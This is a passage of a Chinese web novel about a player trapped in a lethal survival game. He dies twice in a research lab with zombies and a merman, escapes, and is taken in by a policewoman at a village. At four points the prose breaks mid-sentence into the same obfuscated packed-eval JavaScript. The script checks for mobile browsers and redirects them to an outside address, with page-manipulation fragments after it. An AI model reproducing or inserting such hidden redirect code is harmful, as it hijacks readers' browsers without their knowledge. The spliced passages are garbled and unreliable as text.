三只堵路的丧尸消失了,但是并没有结束,萧宁握紧药剂,全神贯注地盯着门缝,果不其然,剩下的丧尸毫无顾忌地重复了刚才发生的事情,想要从门缝进来,一幅不太聪明的样子。 但是萧宁并没有放松警惕,而是尽量将剩下的药剂准确地丢到这两只丧尸的身上。 然后因为位置的偏差,一只丧尸被打中了头部,另外一只却打到了手臂。那只被打中头部的丧尸行动明显地迟缓了下来,另外一只却没有,还趁机将一整只手臂都从门缝探了进来,奋力向萧宁抓来,却因为门缝的位置不够大而略微卡住了。 但是因为各种折腾,门缝已经扩大了不少,明显只要片刻功夫,那只丧尸就可以离开大门的桎梏直奔萧宁。萧宁转身,想要跑回那间办公室,借住那扇门再次阻碍丧尸的动作。不然在空旷的走廊,他完全不是丧尸的对手,要是被抓上一下,他很有可能就要GG。 但是他刚走上一步,甚至都没有转过那个转角,轰隆轰隆的声音就传入了他的耳中。砖石劈里啪啦地砸在地上发出剧烈的声响,但是声音的来源并不是他身后,而是……他身前。 人鱼醒了! 萧宁立马意识到了,随即一句国骂就从他嘴里冒了出来。 缺德策划! 萧宁一时间都懵了,前有狼,后有虎,屋漏偏逢连夜雨,这能往哪里跑?原地等一次重开机会就这样结束? 不行,萧宁绝对不坐以待毙。 谁说前狼后虎的目标都得是他呢? 他们俩怎么不能打起来呢? 他思考了一下,把身上的白大褂脱了下来,往大门跑几步丢到了丧尸脸上,证件也塞到了口袋了里面,然后转身就是跑,跑到转角,然后贴住了墙壁,假装自己是一块大板砖与墙壁融为一体。 他刚贴好,人鱼就出现了。人鱼的眼神还是有些涣散,仍旧有些神志不清的样子。他定定地看向丧尸的位置,呆了几秒,然后猛然窜了出去,有力的鱼尾直接把地面都击打的凹陷了下去。 从始至终都没看平平无奇贴在旁边的萧宁一眼。 萧宁立马就知道自己赌对了。 他将视线投向大门,人鱼已经重新将丧尸打到了外面,连门都被他顺手完全打开。萧宁悄摸摸地靠近,就看到门上面被人鱼留下来凹下的手印,忍不住咽了口水。 他探头去看,人鱼正提着一个头已经像西瓜一样被打爆的丧尸看,也不知道在看些什么。另外一个之前被他打中脑袋的丧尸呆呆地站在旁边,应该还有行动能力,但是并没有跑,也没有攻击人鱼,就站在那里,好像死机了一样。 萧宁左看看右看看,最后贴着边边,避开人鱼的方向,向着另一边的透明玻璃门去了。 他也是始终吊着一个心,直到完全踩进了明亮的玻璃门办公室才放松了一些。他虽然猜测对人鱼进行实验,打过照面的只有第一研究组的成员,但是对于用白大褂吸引他的注意力这件事情仍然是忐忑的,索性他还是成功了! 太棒了!要是这是在外面,他肯定得啃块巧克力奖励一下自己。不过现在在游戏里面就没办法了,等出去再吃好了。 新进的办公室也没有人,但是东西远没有他之前踏入的那间办公室整洁,这里就好像经历了什么混乱的场景一般,许多杯子都被扫落在地面,留下残破的碎片。文件飘得到处都是的,还有一滩一滩的血迹,不知道发生过怎样可怕的事情。 新办公室是一间较大的办公室,这大办公室的门是透明玻璃的,周围是磨砂玻璃,可以清晰地看到是没有人的,连接着的是一个木纹样式的门,让萧宁很容易联想到领导办公室。 他没有立马去打开疑似领导办公室的那扇木门,而是在大办公室搜寻起信息。 这办公室很大,大概有他先前查看过的那间办公室的一倍大。 然而这办公室看着是大,却搜罗不到多少有用的信息。也不知道这间大玻璃门办公室究竟发生过什么样的混乱,原本布置的东西并不和先前那间一样规规矩矩放着,而是被扫荡了一般,稀里哗啦的掉落了一地。 从头到尾看一遍,就算有几个完完整整的电脑放在原位,也没多少还能按亮的,就算是能按亮的,也都显示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033647|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要输入密码才可以打开。至于密码是什么?光看一片狼藉就觉得毫无头绪。 萧宁看得有些头大,正转身,却发现角落有着一个小小的茶水间,自己正对上一面镜子,将他现在的面容照得十分清楚—— 一对狭长的丹凤眼,似乎要将人的灵魂都吸进去。眼眸并不是他原本的黑色,而是宝石般的祖母绿,左眼眼角点缀着一枚小小的泪痣。银白如丝的头发散落着一部分,剩下一部分被扎在身后,梳成了松散的麻花辫。 美的很有压迫感,像那种会一只手掐住你的脖子,一只手将注射剂中的血液举到光线下,面无表情地欣赏猎物求饶嘶吼,笑容弧度用几个像素点来形容的带感坏人。 一看就像一个反派。萧宁总结。 但是他看了看,又看了看,觉得这个评价应该修正一下—— 看起来像个有戏份的研究员反派。 毕竟这么好看,应该不是炮灰来的。 欣赏了一下自己现在的疯批美人反派脸,萧宁就将目光放回了乱糟糟的各色办公桌。既然电子资料指望不上,他就只能尽可能多看看那些纸质资料里面有没有他需要的信息了。 不过根据他在上一间办公室得来的经验,大概基本还是那些他看不懂的数据报告。事实也和他预想的没有太大差别。 不过萧宁还是发现了一点东西。 纸质材料有很多是实验数据,但是还有些是报表、申请表之类的东西。除开各色各样的申请人签名,后面还有两个签名,分别是办公室主任的签名和领导签名。 好巧不巧,那个领导签名的名字是:王坚礼。 而在上一间办公室搜索信息的时候,聊天记录中曾经提到过一句话“第一研究组是王所长直管的”,大胆猜想一下,这个名叫王坚礼的领导是否就是第一研究组,甚至是这整个研究所的管理者王所长。 不等他再细想,一个嘶哑的声音突兀的响起。 “王所长!” 萧宁楞了片刻,随即意识到那是从隔壁传来的。 他现在所在的大玻璃门办公室只有一个门,就是他刚刚进来的那个门。但是因为四周是磨砂玻璃的原因,他很模糊地看到了一团色块从一侧的墙壁那边晃了过去。 那里有人! 不过那应该是另一侧的走廊,如果要看到那边的人发生了什么,大概得从人鱼刚刚所在的地方绕一圈,才能过去。那里与他现在所在的办公室并不是相通的。 说话的声音似乎还在继续,但是因为不像刚刚那样激动而尖锐,所以变得模模糊糊,听不清楚。 萧宁摸了一下玻璃,思索片刻,偷偷摸摸从某个办公桌上摸了一卷宽透明胶,贴了一段在玻璃上,原本模糊的视野立马清晰了起来。 他看到一个满身是血的人抓住了一个瘦瘦高高的人的衣摆,似乎有些激动。但是被他抓住的人很冷静,他转过身。 “嘭!” 那原本激动的人倒了下去。 萧宁的眼睛则死死地盯着冷漠者的手掌心—— 那是木仓! 就在他不自觉凝神的时候,被他盯着的人猛然回过了头。 如鹰隼般的眼睛将目光投向了他所在的位置! 4. 第二次死亡 高高瘦瘦的王所长目之所及一切正常。 他站在原地好一会儿没有动,终究是没有发现什么异样,转身迈步冷漠地离开了。 而萧宁贴在角落,浅色的衣服几乎和墙壁融为了一体,本来贴在磨砂玻璃上的透明胶也已经被撕下攥在手心。等到脚步声完全消失,他紧绷的肌肉才慢慢地放松了下来。 嚯,那个应该就是王所长了,脸长得和冻久了的老树皮一样,看得怪吓人的。 就是不知道那个刚刚激动的叫出来,又被干掉的是他什么人了。 太敏锐了,他扭头回来看的时候,要不是他反应够快,两个人就得看个对眼,想想都毛骨悚然。 萧宁觉得自己刚刚冷汗都冒出来了,他可不想试试王所长手上那把木仓能不能穿透磨砂玻璃直接让他直接GG。 萧宁没有立马离开原地,而是仍旧关注了一会儿,确定王所长没有去而复返,才活动一下发麻的身体,慢慢地站了起来。 大办公室眼见是没有什么东西了,能得到的一星半点信息也很多都被脏污污染了。他决定打开那间配套的小办公室,去里面找找。 虽这样想,萧宁也没有马上就行动,而是在办公室摸索了一圈,找了一个保洁阿姨落在这里的拖把,直接拆了,握紧长长的木棍,才小心翼翼地把门打开了一条缝。 开门的声音很轻,萧宁贴着门,注意力集中,随时准备一旦发现不对就重新把门扣上,敢有什么来贴脸杀,就利落用门板给它一个大逼兜。 里间的办公室打开起来并不困难。也并没有人。 萧宁走了进去,把门虚掩上,这样外面并不能看到里面的情况,他却仍旧能够听见外面的动静。 这是一间并不大,很规整的办公室,东西都摆得整整齐齐。一进门就正对着办公桌,侧面则是一个大柜子。 办公室和门中间狭小的空间里仍旧塞了一个很小的茶几和沙发。看起来有点拥挤,但是五脏俱全。 萧宁去按了按电脑,毫无意外需要输入密码。 桌面整洁,放着一些需要签名的报销单据,一看就是苦逼的财务人做出来的。电脑侧面还有一些大部头专业书籍。 萧宁尝试着去拉抽屉,但是都被锁得严严实实的,丝毫不为所动。 萧宁不了解,这人办公室门都不锁了,为什么要锁抽屉。一般来说要么谨慎,就门和抽屉都锁,要么就是完全无所谓,哪个都不锁,为什么这人啥都做一半? 萧宁正琢磨要怎么把整个抽屉撬出来,就听到了一点及其细微的声音——好像有什么靠近了,但是那声音太模糊了,难以分辨。 数秒后,似乎从墙壁后发出一点声响。萧宁的头皮紧绷了起来。 他左右看看,整个空间都一目了然,窗帘都是半透明的,根本藏不了人。 下一秒,书柜竟然整个翻转到墙后,于是原本是放书柜的地方就出现了一个瘦瘦高高的身影,竟然就是刚刚持木仓的王所长。 萧宁听着皮鞋落在地面的声音,心跳如擂鼓。 他刚刚根本无处可藏,这会儿正蜷缩在办公桌下面狭小的空间里面,身体的一部分甚至都在外面,只要靠近些就会被看得清清楚楚,逃无可逃。 萧宁听着自己咚咚作响的心跳声,想贴近地面好看看外面人的行动轨迹,但是办公桌下的空间太过狭窄,他稍稍动弹都有可能影响办公桌发出响声,只好保持着原本的姿势一动不动。 蜷缩的姿势让萧宁很难受,但是他并不敢动。虽然整个空间内都没有任何的响声,似乎连呼吸声都听不到,但是他认为那个突然闯入的人仍然就在外面,甚至有可能就在看着他的方向。 他注视着他的方向。 没有理由,但是萧宁这样觉得。 许久过去,萧宁都觉得自己的腿因为血液流通不畅而发麻,外面终于再次响起清楚的脚步声。 萧宁的视线仍旧局限于黑漆漆的办公桌下,听觉却前所未有的专注,那个人似乎目的并不在他这边,而是走向了应该摆放着茶几和沙发的地方。 萧宁仔细地听着鞋底和地面碰撞发出的响声,然后是一点衣料摩挲的声音,接着那人似乎又回到他出现的地方。 “咔嚓”很清脆的一点声响之后,墙面变动的声音再次出现。消失的书柜重新回到了它应该在的地方,就好像什么都没有发生过一样。 房间内静悄悄的,但是萧宁仍旧没有动。 办公室内死一般的寂静。 萧宁没有动。 他突然想到了本来关闭的门和被他打开的那道缝隙。 于是他没有动。 片刻后,门竟然响了。 几乎和刚才相差无几的声音进入萧宁的耳中——他果然回来了! 这一次,他没有站定,而是迅速靠近了萧宁所在的位置,萧宁可以清楚地听到对方靠近的声音和自己几乎要停滞的呼吸,心脏的声音吵得他耳朵疼,但是与之相比,更加清晰的是手木仓拉动保险的声音。 萧宁开始思考怎么反抗,但是这里几乎没有任何可以与之抗衡的东西…… 麻了,这游戏真是活不了一点。 就在萧宁准备豁出去的时候,一阵巨响从外面传来,噼里啪啦的声音透过被打开的门引起了屋里两人的注意—— 外面的玻璃墙全部都碎掉了! 本来冲向他的人似乎扭过身走了两步,萧宁悄悄从办公桌侧面探出头观察。这时他才终于看清那多疑返程来杀他的人就是刚刚心狠手辣的王所长,而将他刚刚才翻找过的大玻璃墙办公室几乎夷为平地的则是那条身上都是血痕的人鱼。 都是老熟人了。 此时,这条人鱼完全不像第一次杀他一样冲向他,而是将全部的注意力都放在了王所长身上。 他愤怒怨恨的眼睛几乎完全被血红色所占据,似乎就有业火要从他的身体中溢出,要将周身的一切都焚烧殆尽,化为飞灰湮灭。 对方的怒火几乎都要实质化了,可是王所长似乎完全不为所动,萧宁甚至听到他笑了一声,很愉快似的。 被他折磨许久,根本没有当平等的智慧生物的苦主就在对面,随时准备将他撕碎,他却完全不在意。 萧宁没觉得不对,毕竟反派才不会觉得自己是反派呢。 不过王所长作为研究人鱼的人员,应该更明白对方的武力值情况才对,这种情况还这么镇定,是有什么依仗吗? 萧宁趁一人一人鱼对峙的时候,环顾了一下四周,试图拉远一点,避免被他们给波及。但是怎么看空间都太过狭窄,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033648|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他留下多少活动的空间。 比起借着他们两个打起来的时间,趁机逃出去,更有可能是他刚冒头就被其中一个顺手干掉了。 萧宁无语凝噎。 算了,来都来了看,走也走不了,顺便吃个瓜吧。 萧宁干脆也不蹲着了,直接坐在了地面上,按按自己已经完全麻得失去感知的小腿,侧着头看对面两个npc走剧情。 老实说这种沉浸式吃瓜还蛮带感的,真实感直接拉满,就是手上缺把瓜子,有点可惜。 萧宁觉得他可以转头建议游戏方给玩家加个背包,那样就可以随时拿出瓜子,一边嗑瓜子一边看戏了。 正想着,就听王所长开口了,那话直接就给萧宁听得虎躯一震—— “每次看到你,都是这么完美。” 萧宁看不到他的脸,可是却觉得那话里面竟然蕴含着痴迷和狂热,和他之前的冰块脸形成了鲜明的对比。 不是吧? 变态? 萧宁挪了挪屁股,看人鱼的表情。 人鱼却好像反而冷静了下来,直接在原地微微压身,借着尾巴反作用力,瞬间就靠近了王所长。 王所长从口袋里面掏出一颗胶囊,轻轻掰开,一阵淡蓝色的烟雾散溢出来,将他自己整个笼罩,继而慢慢扩散开来。 人鱼一碰到那烟雾,动作就肉眼可见地缓慢起来。若是萧宁再近一些,就能看到人鱼的皮肤肉眼可见的失去光泽,变得干燥,接着起皮皲裂,甚至直接裂开口,露出血肉的颜色。 王所长勾起令人毛骨悚然的笑容:“虽然还想和你多说几句,不过还有更加重要的事情。” “再见。”他迈开步子。 “不。”他顿了顿,“应该是希望还能再见——在我的伟大计划完成的时候。” 萧宁看看王所长即将消失的身影,又看了看几乎动弹不得的人鱼,犹豫片刻,跟上了王所长。 王所长走得很快,萧宁又不能跟得太紧,因此好几个路口都是连蒙带猜地跟了上去,但即便如此,在看到王所长进了一间门后,他晚些进去,已经没再看到对方的一点痕迹。 萧宁十分确信,他是看到了王所长的。 那就应当是这件看似保洁房的几平米小房间里面有什么机关暗道让王所长从他视野里面消失了。 在哪里呢? 萧宁开始四处摸索,找了半天终于在不起眼的角落发现了一块黑乎乎的地漏。 这是杂物房,没装水龙头,也没有水池,为什么要装地漏? 萧宁掀起盖子,扒拉了下,直接一脚踩了上去。 原本平平无奇的天花板缓缓打开了一块,落下了一把银色的折叠梯缓缓展开。 萧宁拉了拉梯子,准备爬上去,结果刚踩上一只脚,地面就剧烈的震荡起来,这震动太过猛烈,直接把他摔到了地面,要不是进游戏之前调过疼痛设置,不然萧宁觉得自己要被摔成脑震荡。 但这并没有结束,连绵的爆破声传来,整栋的建筑都摇晃坍塌,轰隆隆震耳欲聋的声响之后,一切都被掩埋。萧宁完全没有反抗的机会就看到了已经出现过的“游戏失败”。 …… …… 萧宁木着脸,在游戏的等待空间里缓缓举起了中指。 5. 逃出 萧宁真是一个头两个大,他觉得这个游戏可以起个别名叫死亡模拟器。 他搓搓脸,心情很快平静了下来。 自开始这个游戏之后总是一波三折几乎没有停顿,这让他已经认定这个游戏的风格就是高死亡率。确认了这个属性之后,萧宁反而心平气和起来,毕竟这种搞人心态的游戏他也不是没玩过。 同一局游戏错一个点就得重开,连开十几局他都能心平气和,没道理会因为两次“死亡”破防。而且这个游戏似乎总能探索出新的信息,其实要有意思很多。 是的,他们游戏区up心态可好了。 都是节目效果! 操作重复熟练到令人心酸也是节目效果(握拳) 而且反过来想,王所长之前和人鱼说赶时间,说再见说的那么意味深长,又确确实实跑去了密道,并在他的身影消失不久之后爆炸就发生了,那么不管这爆炸是为什么而发生的,萧宁找到的那条密道都确确实实应该就是逃生通道。 下一次重开他直奔密道? 不、不行,那样不确定性太高了。 这个游戏在各个细枝末节的地方都做的非常非常的细,逻辑缜密,按照这种风格,他在开局的举动变化之后,出了原本形同密室的密闭空间之后,碰到的事情就都难以预测了。 比如他原本碰到的那群丧尸甚至那个时候可能都还没有变成丧尸,又或者他不会和王所长隔着玻璃墙第一次碰到,而会直接面对面来个绝杀。 他三次的重开机会,已经用掉了一次,剩下两次不能浪费在这种试探上。 于是第三次站到银白色的空间里面,又一次看到那道紧闭的大门和昏迷不醒的人鱼的时候,萧宁一点都不着急,慢慢悠悠的走到人鱼旁边,甚至有点想在他脸上画个小乌龟,可惜暂时对方还被埋在塌落的天花板底下。 他遗憾地放弃了这个决定,把小办公室的药剂拿好,把信件也拿好,然后再次环顾了一圈,确定没有还能拿的了,就跑到那个还是关着的大门门口,看着手表算时间。 然后重复了打丧尸,留只丧尸丢白大褂,然后看人鱼和丧尸单方面“打架”,再次悄悄溜到玻璃墙办公室,躲到单间办公室这一流程。 不过这次他没有看电脑,而是回忆了一下王所长当时的举动。 他从墙壁背后进来之后先在这里站了一会儿,可能是在观察或者想事情,然后走了几步,大概是在这里停下。 萧宁看了看面前的茶几,记得那时发出了一点点声音。 他一眼就能把茶几看完,上面只放了一个茶壶、几只茶杯和一个烟灰缸,好像没什么能拿的。总不能王所长是站过来喝了杯水吧? 还是他转了个圈看自己的白大褂能不能像公主裙一样飞起来?萧宁脑洞打开。 萧宁围着茶几转了一圈,突然灵光一闪,把茶几上面的布罩掀起了,拉了一下抽屉——但是声响太大了,应该不对。 萧宁摸了一下下巴,把布罩直接整个掀开—— 布罩下面藏着一张纸! 纸上面写着:“试验品2336已放出。” 没头没尾的,看不出什么意思。 萧宁默默记住了,然后将一切归位,重新躲到办公桌那里又又一次听王所长去而复返,这老东西坏得很,总想诈他,估计是怀疑但是又没什么时间,所以搞这些名堂。 上一轮的时候他感觉自己随时要被王所长一枪爆头,心跳如擂鼓,现在王所长就在一桌之外,萧宁却甚至想来杯奶茶,内心比杀了十年鱼还冰冷。 吃过一次再来,瓜就不甜了。 所以他这次连头都没探,躲在办公桌后面,撑着头,听外面一人一鱼battle。估摸着差不多就跟着出去,一路尾随王所长,在爆炸即将开始的时候从暗道爬出了研究所。 萧宁从假的石头底下爬出来,就看到了一片明媚阳光洒落在碧绿色如地毯一般的草地上,生机勃勃的场景和冰冷危险的研究所形成了鲜明的对比。 萧宁看着春时踏青的美景,怔愣了瞬间。 反反复复太多次意外,即便是站在了这里,他自己也还是很难相信真的出来了,那些层出不穷的新问题都让他习惯了,真的如愿离开了研究所,明明是一件他意料之中并且想要达成的目的,可是真的走到这里了,他却有一种难以置信的感觉萦绕不去。 是错觉吧。他总觉得事情没有这么简单。 掌下的地面微微震动,萧宁很快反应过来,不再顾及自己那喜悦、疑虑各色情感混杂翻涌的思绪,而是迅速翻到地面上跑了起来,然而没跑几步,震天动地的爆炸就正式开始了。 萧宁这一次真正从外面看到了整个爆炸发生时的样子。最大的爆炸从研究所的正中间开始,一个巨大的蘑菇云从正中心炸开,周围的建筑如同积木一样被狠狠摇晃然后一块一块地崩落崩散,高耸的建筑只是一瞬间就从高空塌落自视野中消散。 本来的庞然大物消失起来却相当干脆利索。 萧宁一阵喉干。 这种景象如同鲸落一样,带给人难以言喻的震撼。 他现在所在的地方虽然是研究所外围,已经不在研究所之内,但是也被波及到了。塌陷的地面令萧宁重心不稳摔了一跤,索性塌陷的深度并不算太可怕,他很快就爬了出来,但是膝盖和手掌都破了皮,渗出了丝丝血液。 痛当然不痛,但是萧宁看着掌心的血色,拧起了眉头。 他尽量快速地扯下一块最里面的柔软布料将自己包扎起来,但是血液还是很快吸引了一些附近散开行动的丧尸。 不过是几分钟,萧宁都没走多远,大概三四个丧尸就围了上来。 萧宁看了周围一圈,除了石头,他找不到任何可以用的东西。跟踪黄所长之前,他也是有找一两根看起来比较结实的棍子的,但是后来爬暗道的时候,因为空间狭窄且崎岖,东西只好就都丢了。 萧宁看着慢慢逼近的丧尸,只觉得头皮发麻,忍不住下意识后退几步。毕竟被人鱼杀或者因为爆炸被砸死都差不多就一下子,但是要是被这些丧尸围攻,说不定会被一口一口啃干净,要是一时半会儿死不掉,不能重开游戏,得看自己被“自助餐”还是多少让萧宁觉得怪掉san的,想都不想多想。 要不然他自己结果自己算了,这破游戏连主动重开都没有,只能死了才能选择重开。 萧宁正思衬着,就看到了一个面色青白,僵硬得令人头皮发麻的丧尸流着涎水,就冲他扑了上来。 萧宁甚至能闻到一种腐烂和血腥味融合的恶臭,生化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033649|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武器的程度堪比把他脑袋塞到夏天发酵了一周的垃圾车里面,他下意识地就想要呕吐出来,但是他本来就没吃什么东西,根本吐不出来。 下一瞬,他就竭力维持理智,要重新拉开和丧尸的距离,但是细胳膊细腿根本不得用,眼见着丧尸还挂着细细血肉的牙就要咬到小臂,却什么都做不到。 萧宁咬牙,闭眼,想象中的事情却并没有发生。 他睁开眼,就见一只红色的撬棍拦在身前,正卡在那丧尸长大的嘴里。 金属的光泽在阳光下格外瞩目。 萧宁的呼吸都停了。 下一瞬,那撬棍迅速地向和萧宁相反的方向甩去,直接将那丧尸带着飞起,然后“咚”地一声被压到地面。 撬棍主人根本就没有给丧尸多的动作机会,只是不到一秒的时间,似乎被专门打磨过的撬棍头部直接将丧尸的头部扎了个对穿,流出了些黑黑白白红红的东西。 萧宁看得那种想吐的感觉又来了,但他捂住了嘴,顺着撬棍看去。 撬棍的主人穿着一双运动鞋,配了黑色长裤和白色的卫衣,剪了一头齐耳短发,五官英气,声音铿锵却一下就让人辨别了性别:“到我这里来!” 正说着,她又一下子用撬棍打碎了一个丧尸的脑袋,那液体还溅到了萧宁的鞋子上,留下了青白色的痕迹。 萧宁竭力让自己停止思考,不要想那些让人胃部不适的东西,跑了几步,跟去了那年轻女生的身后。 那女生用带着手套的手抓住了萧宁的胳膊,加快了步子。她声线稳定,让人不知不觉就安定下来:“你是从里面逃出来的?” “是、是。”萧宁喘气。 女生:“里面发生了什么?为什么爆炸?” 萧宁:“我也不清楚,可能与院长有关系。” 女生拧眉,不等萧宁站稳,就将他往左侧一推,迎着右侧就一撬棍上去将突然从树后冒出来的丧尸打到了地上,然后仍旧是干脆利索的一下将对方的脑袋打碎。 萧宁差点又摔地上去了,但是他也清楚事急从权,他要是刚刚还在原地准要被咬个血窟窿,而女生刚刚撬棍拿在右手,正好被他拦着,不好动作。 女生重新扭头看萧宁:“摔到了吗?不好意思,刚刚那个丧尸差点要咬到你了。” 萧宁摇摇头:“没事,本来就是你救了我。” 女生左右看看:“这里丧尸少了很多,你是要自己走吗?我建议你先和我一起回村里面,这里太危险了。” 想了想,似乎是为了取得信任,让萧宁放心跟她一起去,左手从口袋里面逃出来了一个黑色证据,打开展示在萧宁眼前—— “姓名:安雪 性别:女 单位:深海市公安局明珠区分局 职务:刑警支队第一大队支队长 编号:38897218006” “啪嗒。” 黑皮的证件重新在萧宁面前合了起来。 证据后露出安雪和善的笑容:“那么,现在可以告诉我怎么称呼你?你又知道多少吗?” 萧宁对上安雪明亮的眼睛,也笑了:“当然啦,配合工作。” 安雪眯了下眼睛,手指在撬棍上摩挲片刻,仍旧带着笑容:“愿闻其详。” 6. 何家村 安雪身上有种不怒自威的气势,光是这样目光一错不错地盯着人,就能让心虚的人直冒冷汗。 但是萧宁并不受这种压迫的影响——这堆烂摊子根本就和他没关系,他也是被波及遭殃的人。萧宁能理解安雪在想什么,大概一方面觉得看到他濒死不能不出手帮忙,另一方面正逢研究所爆炸,又只看到他这一个活人,不可能不怀疑的。 萧宁简单解释自己是研究所的研究实习生,现在也只接触了一些外围很简单的工作,根本不了解研究所的核心任务,首先把自己撇出来,不然以他现在对自己身份背景一无所知的情况,问什么他都答不上来就糟糕了。 接着是说明自己是跟着行踪可疑的所长跑出来的,不然也有可能要被炸死在里面,并且强调了所长带着木仓,看到了所长杀人的事情,提醒要小心所长。 安雪点点头,也不知道相信了他的话没有,但是也和萧宁问清楚了王所长的身高和长相。 两人一前一后走了大概半个小时才抵达了目的地。 村子的外围有一队年轻人正绕着村子转,似乎在巡逻,但表情并不算严肃,时不时还会传些说笑声进萧宁的耳朵。安雪也远远地冲他们打了个招呼。 走近了,村子的全貌也就慢慢地展现在了眼中。虽然说是村子,但是道路干净整齐,路两边种着一排高高的绿树,鳞次栉比的房屋排列有序,甚至有些围了个小院的屋子看起来格外亮眼,就好像缩小版的酒店一样看起来金碧辉煌的,还有家是小桥流水的风格,更是种了植物,其中亮黄色的迎春花都爬出了外墙,色彩缤纷夺目,看起来做民宿也没什么问题。 似乎是察觉了萧宁的目光停留,安雪道:“这家也做民宿的生意。” 还真做民宿啊!萧宁不由感叹。 萧宁多走几步,还看到一个给自己挂了个“青石小苑”的牌子的,让人不由好奇院子里该是什么样的装修风格,大抵是中式古风的,院子主人应该是个很有生活情调的人。 到村子中心的位置,还能看到路边坐着一两个头发斑白的老人,在小板凳上看夕阳,见着他们两个便打招呼:“阿雪回来啦?” “嗯。”安雪点点头,熟悉地同他们打招呼,“又在这里晒太阳啊”。 这样一路走,萧宁还看到几个疯跑的孩子和他们身后追着耳提面命不许乱跑说最近不太太平的家长。 虽然说着不太太平,但是一切都显得十分安宁,就好像这并不是一个末世一般。 这里和研究所,就好像两个世界一样。 萧宁有些恍惚。 “进来说。”安雪言简意赅,领头走进了一个普普通通的灰色砖石搭起来的院子里面。 萧宁跟着进去,迎面就见到个跛了腿的高壮男人,下巴还带着点青色的胡渣,从一个穿着公主裙的小女孩手中接过一本书,听她童言童语:“要看这本,胖胖的书!” 胖胖的书? 萧宁忍不住多看了一眼,随即忍不住笑了,倒也没说错,那应该是本童话大全,怪厚的。 安雪也和男人打了个招呼:“何大哥。” 高壮男人回过头冲他们笑了一下,一下就露出了他眼睛旁长长的一道刀疤,增添了几分凶厉之气,和他的笑容放在一起有种相当不协调的感觉。 安雪几句话和何大哥交代了萧宁的情况,就又出去了,似乎是有什么事要尽快安排下去。萧宁觉得她可能是和巡逻队说说注意王所长的事情。 萧宁被留在了何家,何家大哥塞了药给他让他自己给伤口消毒。他们家碘酒用完了,只有酒精,萧宁就拿着酒精消毒。 正涂着冰凉凉的药物,一个小团子就猫猫祟祟从他不远处的房门探出了一个小脑袋,瞪大了两只猫眼,夸张地“哇”了一声。等引起了萧宁的注意,扭头去看她时,又赶忙把头缩回去,只露出黑白分明的一双眼睛。 于是萧宁转回头,她便又探出头,悄悄看他,看着看着就“嘶嘶”地抽气起来。 萧宁都被她逗笑了,但也没有回头吓她。他想着自己一个陌生人,虽然看起来打不过这孩子爸爸一只手,但她大概也是被叮嘱过不能靠近他的,她要看就看吧。 等萧宁把许多细细小小的伤口都擦过一遍之后,小团子终于忍不住了:“哥哥,你不痛吗?” 萧宁:“不痛啊。” 小团子惊奇地吸了口气:“你好牛啊。” 她比了一个大拇指:“是超级厉害的小朋友。噢不对,嗯嗯……超级厉害的大朋友。” 萧宁被她萌得都想转过身走过去揉揉她毛茸茸的脑袋,但是还是忍住了,只是笑着大言不惭:“嗯,我很厉害的。” “麦麦。”还不等长着肉嘟嘟小脸蛋的小团子再说什么,她父亲的声音就已经传了过来,“不要打扰人家叔叔。” 小团子瘪了瘪嘴,但是还是听话的离开了,走之前不忘告别:“拜拜。” “拜拜,麦麦。” 萧宁就这样被放置在了一件并不大的客房,被再三强调不能乱走,那位何大哥更是总是关注着他的动向——萧宁也是偶然从玻璃反光中发现对方其实一直都呆在可以看到他的地方。 啊,被当成可疑分子了。 萧宁也不算很意外。就算不认为他是危险分子,安雪为了村子的安全也不会任由他随便乱走的。 他看了看手表,虽然好像过了很多剧情,不过其实现在也不过是晚上八点多。距离游戏要求的72小时还远着呢。 也不知道还会发生什么……想多了解一些信息,但是在这种情况下去东问西问大概真的会把他可疑人士的身份给坐实吧?他还不想现在就带上银手镯。 他扭过头,隔着墙壁还能依稀听见小女孩脆生生的声音:“爸爸,我要关机充电啦,快给我一个抱抱……” 当夜色完全笼罩,一切都慢慢陷入安静之中。 但村子靠近边缘的一间屋子却反常地仍旧透出亮光,里面的人也久久不能平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033650|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 